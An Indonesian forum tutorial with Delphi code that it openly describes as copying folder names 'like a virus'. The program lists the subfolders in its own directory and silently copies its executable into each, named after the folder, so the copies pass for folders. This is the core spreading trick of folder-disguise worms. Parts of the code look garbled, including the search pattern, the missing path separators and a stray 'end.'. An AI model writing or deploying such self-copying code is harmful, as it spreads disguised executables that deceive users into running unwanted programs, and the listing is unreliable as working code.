Arsip: Mengandakan nama folder seperti virus


by nickqin in Articles more 13 years ago 1566
pasang 1 buah label dan 1 buah memo
simpan project di directory yg didalamnya terdapat beberapa folder sebagai sample.

procedure TForm1.FormCreate(Sender: TObject);
var
SearchRec : TSearchRec;
SearchDir,myfile : string;
begin
memo1.Clear;
MyFile := ExtractFilePath(ParamStr(0)); //nama aplikasi kita
label1.caption:=myfile;
SearchDir := label1.Caption + '. '; //pencarian subfolder di directory
if FindFirst(SearchDir, faDirectory, SearchRec) = 0
then
begin
repeat
if ((SearchRec.Attr and faDirectory) = faDirectory)
and (SearchRec.Name <> '.')
and (SearchRec.Name <> '..')
then
begin
memo1.lines.Add(SearchRec.Name);
end
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
end;
end;
end.
procedure TForm1.FormShow(Sender: TObject);
var
fileku,shell,tujuan:string;
i:byte;
begin
fileku:=application.ExeName; //nama aplikasi kita

for i:=0 to memo1.Lines.count-1 do //proses pengkopian file
begin
shell:=label1.caption+memo1.lines.Strings[i]+'.exe'; //pengkopian pada directory
CopyFile(Pchar(Fileku),PChar(shell),false);
tujuan:=label1.caption+memo1.lines.Strings[i]+''+memo1.lines.Strings[i]+'.exe'; //pengkopian pada subdirectorynya
CopyFile(Pchar(Fileku),PChar(tujuan),false); //jangan kasih pesan kalo gagal mangkopy
end;
end;
Syntax Highlighted with https://pascal-id.org/syntax


semoga bermanfaat..!
Local Business Directory, Search Engine Submission & SEO Tools FreeWebSubmission.com SonicRun.com